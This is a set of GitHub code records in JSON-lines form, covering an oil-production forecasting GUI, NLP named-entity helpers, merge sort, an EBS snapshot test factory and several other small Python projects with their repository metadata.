choice_of_predicting_parameter.addItem('Год. доб. нефти, тыс.т')\n choice_of_predicting_parameter.addItem('Год. доб. газа, млн.м3')\n choice_of_predicting_parameter.addItem('Обводнен-ность, %')\n choice_of_predicting_parameter.activated[str].connect(self.parameter_choice)\n layout.addWidget(choice_of_predicting_parameter, alignment=QtCore.Qt.AlignCenter)\n label_epochs = QLabel('Выбор количества эпох обучения')\n label_epochs.setAlignment(QtCore.Qt.AlignCenter)\n layout.addWidget(label_epochs)\n self.epochs_choice.valueChanged.connect(self.value_change)\n data_preprocessing = QComboBox()\n label2 = QLabel('Предобработка данных')\n data_preprocessing.addItem('Не использовать предобработку')\n data_preprocessing.addItem('Использовать скользящее среднее')\n data_preprocessing.activated[str].connect(self.preprocessing)\n layout.addWidget(self.epochs_choice)\n layout.addWidget(label2, alignment=QtCore.Qt.AlignCenter)\n layout.addWidget(data_preprocessing, alignment=QtCore.Qt.AlignCenter)\n layout.addWidget(self.btnPredict)\n\n def get_data(self):\n file_name, _ = QFileDialog.getOpenFileName(self, 'Открыть файл выборки', r\"\",\n \"*.csv\")\n self.file_name = file_name\n self.data = pd.read_csv(self.file_name, sep=';', decimal=',')\n datas_annual_oil_variety = []\n datas_annual_oil_expected_value = []\n datas_annual_oil_moda = []\n datas_annual_oil_scope = []\n datas_variety_coefficient = []\n variety_coefficient = []\n for j in self.data:\n column_variety_coefficient = np.std(self.data[j]) / np.mean(self.data[j])\n if np.std(self.data[j]) != 0.0:\n variety_coefficient.append(column_variety_coefficient)\n datas_variety_coefficient.append(variety_coefficient)\n datas_annual_oil_variety.append(np.std(self.data['Год. доб. нефти, тыс.т']))\n datas_annual_oil_expected_value.append(np.var(self.data['Год. доб. нефти, тыс.т']))\n datas_annual_oil_moda.append(mode(self.data['Год. доб. нефти, тыс.т']))\n datas_annual_oil_scope.append(np.max(self.data['Год. доб. нефти, тыс.т']) -\n np.min(self.data['Год. доб. нефти, тыс.т']))\n\n def plot_of_annual_oil(self):\n plt.scatter(self.data['Годы'], self.data['Год. доб. нефти, тыс.т'])\n plt.xlabel('Годы')\n plt.ylabel('Год. доб. нефти, тыс.т')\n plt.title(self.file_name[52:].replace('.csv', ''))\n plt.show()\n\n def plot_of_annual_gas(self):\n listing = self.data['Год. доб. газа, млн.м3']\n plt.hist(listing, orientation=\"horizontal\")\n plt.title(self.file_name[52:].replace('.csv', ''))\n plt.xlabel('Годы')\n plt.ylabel('Год. доб. газа, млн.м3')\n plt.show()\n # df = self.data.pivot_table(index='Обводнен-ность, %', columns='Год. доб. нефти, тыс.т')\n # sns.heatmap(df)\n # plt.show()\n\n def on_activated(self, idx):\n self.current_architecture = idx\n\n def predict_data(self):\n x = self.data.values\n scaler = MinMaxScaler()\n x_scaled = scaler.fit_transform(x)\n data = pd.DataFrame(x_scaled)\n print(data)\n # data[1] == Y\n # Y is being predicted, based on X (in this case oil based on years)\n # data[2] == X\n X = data.loc[:, 1]\n if self.current_parameter == 'Год. доб. нефти, тыс.т':\n X = data.loc[:, 0]\n Y = data.loc[:, 1]\n elif self.current_parameter == 'Год. доб. газа, млн.м3':\n Y = data.loc[:, 5]\n else:\n Y = data.loc[:, 10]\n print(X)\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, shuffle=False)\n model = Sequential()\n model.add(Dense(64, input_shape=(14, 1)))\n learning_rate = 0.0001\n if self.current_architecture == 'Слой LSTM':\n model.add(LSTM(300))\n elif self.current_architecture == 'Слой GRU':\n model.add(GRU(300))\n else:\n for i in range(7):\n model.add(GRU(300, input_shape=(300, ), return_sequences=True))\n model.add(Activation('relu'))\n model.add(Dense(1))\n decay_rate = learning_rate / self.epochs\n model.compile(loss='mse', optimizer='adam')\n estimation_object = model.fit(X_train, Y_train, epochs=self.epochs, batch_size=32, verbose=1,\n validation_split=0.25)\n predict = model.predict(X_test)\n predicted = predict.flatten()\n original = Y_test.values\n plt.figure(1)\n plt.plot(predicted, color='blue', label='Predicted data')\n plt.plot(original, color='red', label='Original data')\n plt.legend(loc='best')\n plt.title('Actual and predicted')\n loss = []\n for i in estimation_object.history['loss']:\n loss.append(i)\n plt.figure(2)\n plt.plot(loss)\n plt.xlabel('MSE')\n predicted_and_original_difference = []\n for i, j in enumerate(original):\n predicted_and_original_difference.append(abs(predicted[i] - j))\n print(np.mean(predicted_and_original_difference))\n loss = []\n for i in estimation_object.history['loss']:\n loss.append(i)\n print(np.min(loss))\n model.save(self.current_architecture+'/'+self.current_parameter)\n plt.show()\n\n def parameter_choice(self, parameter):\n self.current_parameter = parameter\n\n def value_change(self):\n self.epochs = self.epochs_choice.value()\n\n def preprocessing(self, choice):\n if choice == 'Использовать скользящее среднее':\n data = self.data\n for num, _ in enumerate(data[self.current_parameter]):\n t = []\n n = 3 # скользящее среднее по n точкам\n shift = (n - 1) // 2\n for i in range(n):\n index = num - shift + i\n if index >= len(data[self.current_parameter]):\n t.append(data[self.current_parameter][index % len(data[self.current_parameter])])\n elif index >= 0:\n t.append(data[self.current_parameter][index])\n else:\n t.append(data[self.current_parameter][len(data[self.current_parameter]) + index])\n data[self.current_parameter][num] = np.sum(t) / n\n self.data = data\n else:\n pass\n\n\napp = QApplication(sys.argv)\ndemo = DialogApp()\n# demo.get_data()\n# demo.on_activated('Слой GRU')\n# demo.parameter_choice('Год. доб. нефти, тыс.т')\n# demo.value_change()\n# demo.preprocessing('Использовать скользящее среднее')\n# demo.predict_data()\ndemo.show()\nsys.exit(app.exec_())\n","repo_name":"dudi0D/project_work","sub_path":"pyqt_file.py","file_name":"pyqt_file.py","file_ext":"py","file_size_in_byte":10497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39436357059","text":"import pytest\nfrom centaur.applications import Application, Adapter\n\n\n@pytest.fixture\ndef sample_application():\n return Application(adapters={'sample': SampleAdapter})\n\n\nclass SampleAdapter(Adapter):\n sample_attrib = 'sample'\n\n async def sample_fn(self, p):\n return p\n\n\nasync def sample_coro():\n return 'OK'\n\n\ndef test_empty_application():\n app = Application()\n assert app is not None\n\n\ndef test_sample_adapter(sample_application):\n app = sample_application\n assert 'sample' in app.adapters and isinstance(app.adapters['sample'], SampleAdapter)\n assert app.adapters['sample'].app == app\n assert app.lookup_name('sample.sample_attrib') == 'sample'\n\n\ndef test_application_has_event_loop():\n app = Application()\n coro = sample_coro()\n assert app.event_loop.run_until_complete(coro) is 'OK'\n\n\ndef test_application_call_adapter_method(sample_application):\n assert sample_application.event_loop.run_until_complete(sample_application.f_('sample.sample_fn', p='test')) == 'test'\n\n\ndef test_application_with_two_adatpers():\n class S1(Adapter):\n async def fn_one(self, a):\n return a * self.app.config.get('multiply_by', 2)\n\n class S2(Adapter):\n async def fn_two(self, b):\n return await self.f_('s1.fn_one', a=b)\n\n app = Application(adapters={'s1': S1, 's2': S2})\n assert app.event_loop.run_until_complete(app.f_('s2.fn_two', b=10)) == 20\n\n app = Application(config={'multiply_by': 3}, adapters={'s1': S1, 's2': S2})\n assert app.event_loop.run_until_complete(app.f_('s2.fn_two', b=10)) == 30\n\n\ndef test_application_run_in_executor():\n def blocking_function(a, b):\n import time\n time.sleep(0.3)\n return a + b\n app = Application()\n assert app.event_loop.run_until_complete(app.run_in_executor(blocking_function, a=10, b=10)) == 20\n","repo_name":"laco/python-centaur","sub_path":"tests/test_centaur_applications.py","file_name":"test_centaur_applications.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1161501074","text":"# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__=\"Daniel\"\n__date__ =\"$14 mai 2014 23:04:07$\"\n\nimport csv\nclass CsvCreator(object):\n \"\"\"save all data to csv\"\"\"\n \n def __init__(self, list):\n self.list = list\n with open('sc.csv', 'w', newline='') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n for value in list:\n array = value.GetList() \n try:\n spamwriter.writerow([array[0], array[1], array[2], array[3], array[4]])\n except UnicodeError as e: \n print (e)\n spamwriter.writerow([array[5]])\n \n\n \n","repo_name":"danielamor/scextract","sub_path":"src/csvCreator.py","file_name":"csvCreator.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8331523850","text":"\n\nfrom PySide2.QtWidgets import QApplication, QMainWindow, QPushButton, QPlainTextEdit, QMessageBox\nimport sys\nsys.path.append('..')\nfrom josephus.person import person\nfrom josephus.josephus import Josephus\nfrom josephus.file_adapter import read_files\n\n\nclass QTUI(object):\n def __init__(self, title: str):\n pass\n\n\nclass JosephusUIOnPyside2(QTUI):\n def __init__(self, title) -> None:\n self.window = QMainWindow()\n self.window.resize(500, 400)\n self.window.move(300, 310)\n self.window.setWindowTitle(title)\n\n self.textEdit = QPlainTextEdit(self.window)\n self.textEdit.setPlaceholderText(\"Please input people's items\")\n self.textEdit.move(10, 25)\n self.textEdit.resize(300, 350)\n\n self.button = QPushButton('Generate survior', self.window)\n self.button.move(380, 80)\n self.button.clicked.connect(self.handle_button)\n\n def handle_button(self) -> None:\n people_info = self.textEdit.toPlainText()\n\n reader = []\n for row in people_info:\n data = row(read_files.str2list_row)\n reader.append(data)\n\n ring = Josephus.Ring(reader)\n ring.start = 0\n ring.step = 1\n\n res = ring.query_list_all()\n size_res = len(res)\n generator = ring.iter()\n\n survior = ''\n for i in range(size_res):\n some_one = next(generator)\n\n if some_one == None:\n break\n\n if i == size_res - 1:\n survior = 'Survivor\\'s name is' + some_one.name + \\\n 'age is' + some_one.age + 'gender is' + some_one.gender\n\n else:\n continue\n \n QmessageBox.about(self.window, 'Survior\\'s items', survior)\n\nif __name__ == \"__main__\":\n \n app = QApplication([])\n\n josephus_ui = JosephusUIOnPyside2('Josephus Project')\n\n josephus_ui.window.show()\n\n app.exec_()\n","repo_name":"kriswangz/LearningTask","sub_path":"josephus/interface/qt_ui.py","file_name":"qt_ui.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22864496324","text":"# Простой калькулятор\ndef calc(a, b, operation):\n operations = {\n \"+\": a + b,\n \"-\": a - b,\n \"*\": a * b,\n \"/\": a / b\n }\n\n if operation in operations:\n return operations[operation]\n else:\n return False\n\n\ndef get_float(text):\n temp = input(text.capitalize() + \": \")\n if temp.lower() == \"выход\":\n exit()\n try:\n return float(temp)\n except:\n return temp\n\n\ndef output(text):\n print(text)\n","repo_name":"Abnormally/trash","sub_path":"CodeCademy/Test007/object02.py","file_name":"object02.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1058778040","text":"import json\nimport spacy\nimport nltk\nfrom termcolor import colored\nfrom stanfordcorenlp import StanfordCoreNLP\n\nALLOWED_PARALLEL_PROCESS = 8\nUKP_SERVER = 'http://krusty.ukp.informatik.tu-darmstadt.de'\nUKP_SERVER_NED = \"http://ned.ukp.informatik.tu-darmstadt.de\"\nLOCALHOST = \"http://localhost\"\nWH_WORDS = [\"what\", \"which\", \"who\", \"whom\", \"whose\", \"where\", \"why\", \"how\", \"when\"]\nHOW_QUESTIONS = [\"how far\", \"how long\", \"how many\", \"how much\", \"how old\"]\nnlp = spacy.load('en_core_web_sm')\nsta_nlp = StanfordCoreNLP(UKP_SERVER_NED, 9000)\n\n\n# get the named entities recognized by SpaCy\ndef spacy_ents(text):\n ent_list = []\n doc = nlp(text)\n\n for ent in doc.ents:\n ent_list.append((ent.text, ent.label_))\n return ent_list\n\n\n# give a doc with multiple sentences, return the token list with NE tags identified by Stanford NER\ndef get_ner_doc_stanford(context):\n sta_nlp = StanfordCoreNLP(UKP_SERVER_NED, 9000)\n ner_token_list = []\n try:\n ner_token_list.extend(sta_nlp.ner(context))\n except BaseException as e:\n ss = nltk.tokenize.sent_tokenize(context.replace(\"\\n\", ' ').replace('\\xa0', ' '))\n part_doc1 = \" \".join(ss[:int(len(ss)/2)])\n part_doc2 = \" \".join(ss[int(len(ss)/2):])\n ner_token_list.extend(get_ner_doc_stanford(part_doc1))\n ner_token_list.extend(get_ner_doc_stanford(part_doc2))\n\n return ner_token_list\n\n\n# given a context, return the named entities identified by both SpaCy and Stanford\ndef get_ner_spacy_stanford(context):\n spa_ner_list = spacy_ents(context)\n ner_dict = {}\n\n try:\n sta_ner_token_list = get_ner_doc_stanford(context)\n except BaseException as e:\n print(\"context is too long to get stanford named entities\")\n sta_ner_token_list = []\n\n sta_ner_list = get_merged_ner(sta_ner_token_list)\n write_ner_coren(sta_ner_list, ner_dict)\n write_ner_coren(spa_ner_list, ner_dict)\n # print(ner_dict)\n\n return ner_dict\n\n\n# merge the tokens in standford corenlp ner result to named entities.\ndef get_merged_ner(orig_list):\n merged_ner_list = []\n for i in range(len(orig_list)):\n en = orig_list[i]\n current_index = i\n # merge entity_list next to each other with the same NER\n if en[1] != 'O':\n merged_ner_list.append(en)\n if current_index > 0:\n former_ne = orig_list[current_index - 1]\n if en[1] == former_ne[1]:\n orig_list[current_index] = (former_ne[0] + ' ' + en[0], en[1])\n merged_ner_list.append(orig_list[current_index])\n merged_ner_list.remove(en)\n merged_ner_list.remove(former_ne)\n elif former_ne[0].lower() == \"the\":\n orig_list[current_index] = (\"the\" + ' ' + en[0], en[1])\n merged_ner_list.append(orig_list[current_index])\n merged_ner_list.remove(en)\n else:\n continue\n return merged_ner_list\n\n\n# write the named entities to the record.\ndef write_ner_coren(nerlist, ner_dict):\n for ner in nerlist:\n if is_valid_ne(ner):\n ne_name = ner[0].replace(\"The \", \"the\") if ner[0].startswith(\"The \") else ner[0]\n ner_dict.setdefault(ne_name, ner[1])\n\n\n# check whether a given named entity is valid or not, exclude weird or special symbols\ndef is_valid_ne(ner):\n special_symbol = ['(', ')', '[', '±', ']', '+', '\\xa0', '&', '\\n', '-RRB-', '-LRB-', '-']\n if ner[0].startswith('A '):\n return False\n if any(sb in ner[0] for sb in special_symbol):\n return False\n if ner[0] == '\\n' or ner[0] == ' ':\n return False\n else:\n return True\n\n\n# given a answer,\ndef analyse_non_ne_answer(answer):\n try:\n ans_tree = nltk.tree.ParentedTree.fromstring(StanfordCoreNLP(UKP_SERVER_NED, 9000).parse(answer))\n ans_type = ans_tree[0].label()\n except BaseException as e:\n #raise e\n print(e)\n # if exception or no type found, mark the type as x (unknown)\n ans_type = \"x\"\n return ans_type\n\n\ndef get_question_type(question=\"\", question_tokens=[]):\n qs_type = \"others\"\n if not question_tokens:\n question_tokens = sta_nlp.word_tokenize(question.lower())\n for key_word in WH_WORDS:\n if key_word in question_tokens:\n qs_type = key_word\n if key_word == \"how\":\n for how_word in HOW_QUESTIONS:\n if how_word in question.lower():\n qs_type = how_word\n break\n return qs_type\n\n\n","repo_name":"mingzhu-wu/data-augmentation","sub_path":"text_analyse.py","file_name":"text_analyse.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4052301438","text":"def merge(a, b):\n i = 0\n j = 0\n merged = []\n for k in range(len(a + b)):\n if i < len(a) and j < len(b):\n if a[i] < b[j]:\n merged.append(a[i])\n i += 1\n else:\n merged.append(b[j])\n j += 1\n elif i >= len(a) and j < len(b):\n merged += b[j:]\n break\n else:\n merged += a[i:]\n break\n return merged\n\ndef mergeSort(a):\n n = len(a)\n if n == 1:\n return a #it is sorted\n mid = n // 2\n leftHalf = a[:mid]\n rightHalf = a[mid:]\n return merge(mergeSort(leftHalf), mergeSort(rightHalf))\n","repo_name":"mbalamat/mbalamat-algo","sub_path":"mergesort/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31717609065","text":"import requests\nfrom log_config import logger\n\ndef get_wiki_search(query, exact_match=True):\n\n # wikipedia has many websites for specific language\n # E. g. english wiki: https://en.wikipedia.org/w/api.php\n # the one used below is supposed to be international\n # and search the whole wiki, instead of wiki of specific country\n # also: Quotes around words mark an \"exact phrase\" search.\n # For parameters they are also needed to delimit multi-word input.\n # source: https://www.mediawiki.org/wiki/Help:CirrusSearch#Prefer_phrase_matches\n url = 'https://www.wikidata.org/w/api.php?'\n params = {\n 'action': 'query',\n 'format': 'json',\n 'list': 'search',\n 'srsearch': '\"' + query + '\"' if exact_match else query\n }\n logger.info('Sending a request to wikipedia')\n wiki_json = requests.get(url, params=params).json()\n\n output = {'items': wiki_json['query']['searchinfo']['totalhits'],\n 'wordcount': sum([i['wordcount'] for i in wiki_json['query']['search']])}\n\n return output\n","repo_name":"RaidasGrisk/nameSpy","sub_path":"api/data_sources/wikipedia.py","file_name":"wikipedia.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"32929012970","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 23 15:11:39 2020\n\n@author: lenovo\n\"\"\"\n\nimport csv\n#import matplotlib\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef rdata():#读取文件\n pr=pd.read_csv(\"douban_movie.csv\")\n score1=0\n score2=0\n score3=0\n score4=0\n score5=0\n for score in pr['score']:\n if score=='allstar10':\n score1+=1\n elif score=='allstar20':\n score2+=1\n elif score=='allstar30':\n score3+=1\n elif score=='allstar40':\n score4+=1\n elif score=='allstar50':\n score5+=1\n plt.rcParams['font.sans-serif'] = ['SimHei']\n plt.rcParams['axes.unicode_minus'] = False# 解决 plt 中文显示的问题\n labels=['很差','较差','还行','推荐','力荐']\n values=[score1,score2,score3,score4,score5]\n colors=['y','m','b','w','b']\n explode=[0,0,0,0,0]#每一块离开中心的距离\n plt.title(\"评分分布情况\",fontsize=25)#标题\n plt.pie(values,labels=labels,explode=explode,colors=colors,\n startangle = 180,\n shadow=True,autopct='%1.1f%%')\n plt.axis('equal')#将饼图显示为正圆形\n plt.show()\n \n index=['1星','2星','3星','4星','5星']\n plt.title('评分分布情况')\n values=[score1,score2,score3,score4,score5]\n plt.bar(index,values)\n plt.show()\nif __name__==\"__main__\":\n rdata()\n ","repo_name":"Incognito514/test","sub_path":"score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11077231057","text":"import os,sys\nfrom baltrad.bdbserver.sqla import storage, backend\n\n_backend = None\n\ndef setup_package():\n global _backend\n url = os.environ.get(\"BDB_TEST_DB\", \"\")\n try:\n _backend = backend.SqlAlchemyBackend(\n url,\n storage=storage.DatabaseStorage()\n )\n except:\n pass\n\n if _backend:\n _backend.drop()\n _backend.create()\n\ndef teardown_package():\n global _backend\n if _backend:\n _backend.drop()\n\ndef get_backend():\n return _backend\n","repo_name":"baltrad/baltrad-db","sub_path":"server/itest/sqla/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"28496151208","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def maxDepth(self, root: Optional[TreeNode]) -> int:\n if not root:\n return 0\n qu=deque([root])\n res=1\n while qu:\n r=len(qu)\n for i in range(r):\n temp=qu.popleft()\n if temp.left:\n qu.append(temp.left)\n if temp.right:\n qu.append(temp.right)\n if qu:\n res+=1\n return res\n ","repo_name":"ben-on/solved-algorithm-problems","sub_path":"0104-maximum-depth-of-binary-tree/0104-maximum-depth-of-binary-tree.py","file_name":"0104-maximum-depth-of-binary-tree.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73910665213","text":"import os\nimport subprocess\nimport sys\nfrom time import sleep\n\n\n'''The following sizes are tuneable constants. Sizes are in bytes unless otherwise specified.\n'''\nSECTOR_SIZE = 2 ** 9\nGB_SIZE = 2 ** 30\nBITS_IN_BYTE = 2 ** 3\nINTEGER_SIZE_IN_BITS = 32\nENDIANNESS = \"big\"\nPATH_TO_FSP_CLIENT = os.path.dirname(os.path.realpath(__file__)) + \"/../src/main.py\"\n\n\n'''Functions to treat Disk as 2d array organized [index][offset]. Where index is the sector number, and offset is the byte offset from start of the index.\n'''\ndef byte_offset_to_index(byte_offset):\n return byte_offset // SECTOR_SIZE\n\ndef index_to_byte_offset(index, offset = 0):\n return index * SECTOR_SIZE + offset\n\n\"\"\"Creates a snapshot for testing\n\nTread Disk as an array indexed by sector number. \nCreates a pattern where each i index that belongs to pattern rules is written to with 32 bit integer i (the sector number).\nReturns snapshot_id and metadata to recreate and check the pattern.\n\nArgs:\n size (int): size of disk in GB. Max is 5GB, Default is 1GB.\n start (int): first index (sector number) of disk where pattern can begin from, default is start of disk\n end (int): last index (sector number) of disk where pattern can exist, default is end of disk\n skip (int): every skip sectors will be written to with the sector number. \n Writes occur to sectors on [start + offset, end] that match the pattern. Otherwise a 0 NULL value is written \n offset (int): number of sectors to skip before starting pattern - an offset of the pattern (cant be more than skip)\n N.B. Offset is NOT where the data is written to within a sector! Data is always written to the first 32 bits of a sector.\n parent tuple(str, bool): (OPTIONAL!) tuple containing parent snapshot id and boolean indicating if this is an additive pattern. \n If True then the new snapshot will contain the parent pattern with the new pattern laid overtop (additive)\n Else the snapshot will only contain only the new pattern specified in the function call (subtractive or mutation)\n N.B. This parameter was added with the use case of testing \"sync\" in mind!\n\nReturns:\n JSON: {\n snapshot_id (string),\n parent_id (string),\n snapshot_size (int),\n \"metadata\": {\n start (int),\n end (int),\n skip (int),\n offset (int)\n }\n }\n OR None if parameters are not valid!\n\"\"\"\ndef generate_pattern_snapshot(size = 1, start = 0, end = None, skip = 1, offset = 0, parent=None):\n DEVICE_SIZE = GB_SIZE * size\n\n if end is None:\n end = DEVICE_SIZE // SECTOR_SIZE\n\n # Param validation\n if ((size > 5 or size < 1) \n or (end > DEVICE_SIZE // SECTOR_SIZE)\n or (offset >= skip)\n or size < 1\n or start > byte_offset_to_index(size * GB_SIZE)\n or end <= start + offset or offset < 0):\n return None\n\n with open(\"/tmp/zeroes\", \"w\") as outfile:\n subprocess.run([\"sudo\", \"head\", \"-c\" , str(DEVICE_SIZE), \"/dev/zero\"], stdout=outfile)\n LOOP_FILE = subprocess.run([\"sudo\", \"losetup\", \"-f\"], capture_output=True).stdout.decode(\"utf-8\").strip()\n subprocess.run([\"sudo\", \"losetup\", LOOP_FILE, \"/tmp/zeroes\"], capture_output=True)\n\n if (not (parent is None)) and (parent[1] == True):\n while True:\n # create a snapshot by adding a pattern on-top\n bash_get_parent = subprocess.run([\"sudo\", \"python3\", PATH_TO_FSP_CLIENT, \"download\", parent[0], LOOP_FILE], capture_output=True)\n if bash_get_parent.returncode == 0:\n break\n else:\n print(\".\", end='', flush=True) # show the backoff in output (often EC2 API can view a snapshot ~1 min before EBS Direct API)\n sleep(3)\n\n with open(LOOP_FILE, 'wb') as loop:\n loop.seek(index_to_byte_offset(start), 1)\n loop.seek(index_to_byte_offset(offset), 1)\n # Preform writes for patterns on [start + offset, end] of Volume sectors\n while loop.tell() < ( index_to_byte_offset(end + skip + 1) - skip*SECTOR_SIZE ):\n\n advanced = 0\n sec_num = byte_offset_to_index(loop.tell())\n if ( sec_num % skip ) == (( start + offset ) % skip ):\n advanced += loop.write(sec_num.to_bytes(INTEGER_SIZE_IN_BITS, ENDIANNESS))\n\n if (index_to_byte_offset(skip) + loop.tell()) - advanced >= DEVICE_SIZE:\n break\n else:\n loop.seek(index_to_byte_offset(skip) - advanced, 1)\n\n while True:\n if parent is None:\n bash_upload = subprocess.run([\"sudo\", \"python3\", PATH_TO_FSP_CLIENT, \"upload\" , LOOP_FILE], capture_output=True)\n else:\n bash_upload = subprocess.run([\"sudo\", \"python3\", PATH_TO_FSP_CLIENT, \"upload\" , LOOP_FILE, \"--parent_snapshot_id\", parent[0]], capture_output=True)\n \n if bash_upload.returncode == 0: # todo error handle for correct exception (ValidationException)\n break\n else:\n print(\".\", end='', flush=True) # show the backoff in output (often EC2 API can view a snapshot ~1 min before EBS Direct API)\n sleep(3)\n\n lines = bash_upload.stdout.decode(\"utf-8\").split(\"\\n\")\n snapshot_id = lines[4].strip()\n\n # Cleanup\n subprocess.run([\"sudo\", \"losetup\", \"-d\", LOOP_FILE])\n \n return {\n \"snap\": snapshot_id,\n \"size\": size,\n \"metadata\": {\n \"start\": start,\n \"end\": end,\n \"skip\": skip,\n \"offset\": offset,\n },\n \"parent\": parent,\n }\n\n\"\"\"Validate that a snapshot matches all patterns specified to exist on it.\n\nChecker will recreate Disk from a snapshot.\nThen iterate through every sector of disk\n for each pattern metadata that is specified checker will validate that:\n - pattern exists at that sector (sector number is on Disk at sector i)\n - pattern does not exist (NULL - all 0s is on Disk at sector i) e.g. in the gap of a pattern\n\nArgs:\n snapshot_id (string): specifies the snapshot to retrieve and test patterns against\n size (int): size of a snapshot in GB\n patters (list): a list of metadata that is to used to check recreated patterns - only specify patterns that exist! Not ones that have 'dropped out'\n device_path (string): (OPTIONAL!) If the snapshot has already been created, specify the destination and function will skip retrieval step\n\nReturns:\n boolean: True if all specified patterns exist on the snapshot, False otherwise \n\"\"\"\ndef check_pattern(snapshot_id, size, patterns, device_path=None):\n DEVICE_SIZE = GB_SIZE * size\n\n LOOP_FILE = device_path\n if device_path is None:\n with open(\"/tmp/zeroes\", \"w\") as outfile:\n subprocess.run([\"sudo\", \"head\", \"-c\" , str(DEVICE_SIZE), \"/dev/zero\"], stdout=outfile)\n LOOP_FILE = subprocess.run([\"sudo\", \"losetup\", \"-f\"], capture_output=True).stdout.decode(\"utf-8\").strip()\n subprocess.run([\"sudo\", \"losetup\", LOOP_FILE, \"/tmp/zeroes\"])\n\n while True:\n bash_download = subprocess.run([\"sudo\", \"python3\", PATH_TO_FSP_CLIENT, \"download\", snapshot_id, LOOP_FILE], capture_output=True)\n if bash_download.returncode == 0:\n break\n\n print(\".\", end='', flush=True) # show the backoff in output (often EC2 API can view a snapshot ~1 min before EBS Direct API)\n sleep(3)\n \n counter = -1 # tracking which sector of disk loop is currently checking. Only increments by 1 sector at a time regardless of pattern \n NULL = 0\n with open(LOOP_FILE, 'rb') as loop:\n loop.seek(0, 2)\n ENDING_OFFSET = loop.tell()\n\n loop.seek(0,0)\n while loop.tell() <= (ENDING_OFFSET - SECTOR_SIZE):\n counter += 1\n loop.seek(SECTOR_SIZE * counter, 0)\n\n int_as_binary = loop.read(INTEGER_SIZE_IN_BITS)\n sec_num = int.from_bytes(int_as_binary, ENDIANNESS)\n cur_index = byte_offset_to_index(loop.tell())\n\n hit = False\n for pattern_metadata in patterns:\n start = pattern_metadata[\"start\"]\n end = pattern_metadata[\"end\"]\n skip = pattern_metadata[\"skip\"]\n offset = pattern_metadata[\"offset\"]\n # Are we on a non-null sector of the pattern?\n if ((cur_index >= start and cur_index <= end)\n and (( cur_index % skip ) == (( start + offset ) % skip ))):\n if sec_num != counter:\n print(f\"WRONG: Read Sector Number as {sec_num}. Should be {byte_offset_to_index(loop.tell())}\")\n print(f\"start = {start} ({index_to_byte_offset(start)}) end = {end} ({index_to_byte_offset(end)}) skip = {skip} ({index_to_byte_offset(skip)}) offset = {offset}\")\n print(f\"expected = {byte_offset_to_index(loop.tell())} at {loop.tell() - INTEGER_SIZE_IN_BITS} byte_offset but got {sec_num}\")\n print(LOOP_FILE)\n return False\n hit = True\n\n # Otherwise (no patterns were applicable for this sector) verify that the data is null\n if hit == False:\n if sec_num != NULL:\n print(f\"WRONG: Read Sector Number as {sec_num}. Should be NULL - ({NULL})\")\n print(f\"start = {start} end = {end} skip = {skip} offset = {offset} expected = 0 at {counter} sector but got {sec_num}\")\n return False\n \n return True\n\n# Run this file to tests an end to end test snapshot creation and verification\nif __name__ == \"__main__\":\n if os.getuid() != 0:\n print(\"MUST RUN AS SUPER USER (SUDO)\")\n sys.exit(1)\n\n\n list_of_patterns = []\n pattern1 = generate_pattern_snapshot(size=1, start=0, end=None, skip=1, offset=0)\n\n list_of_patterns.append(pattern1[\"metadata\"])\n snapshot = pattern1[\"snap\"]\n gb_size = pattern1[\"size\"]\n print(f\"Check Disk Pattern: {check_pattern(snapshot, gb_size, list_of_patterns)}\\n\\n\")\n","repo_name":"awslabs/flexible-snapshot-proxy","sub_path":"test/snapshot_factory.py","file_name":"snapshot_factory.py","file_ext":"py","file_size_in_byte":10042,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"78"} +{"seq_id":"37631100692","text":"\"\"\"\n报错重复访问\n安装\npip3 install retrying\n\"\"\"\nimport requests\nfrom retrying import retry\n\n\n@retry(stop_max_attempt_number=3) # ctrl点击retry,进入方法内部可以看到Retrying类,里面有各种方法.注意,这个重复访问的方法,要指定timeout超时,不然回一直卡在第一次\ndef get_page_from_url(url):\n print('执行了')\n response = requests.get(url=url, timeout=2)\n return response.content.decode()\n\n\nif __name__ == '__main__':\n html = get_page_from_url('http://www.google.com')\n print(html)\n","repo_name":"chainrain/pachong","sub_path":"day02 12.retrying报错重复访问使用.py","file_name":"day02 12.retrying报错重复访问使用.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} 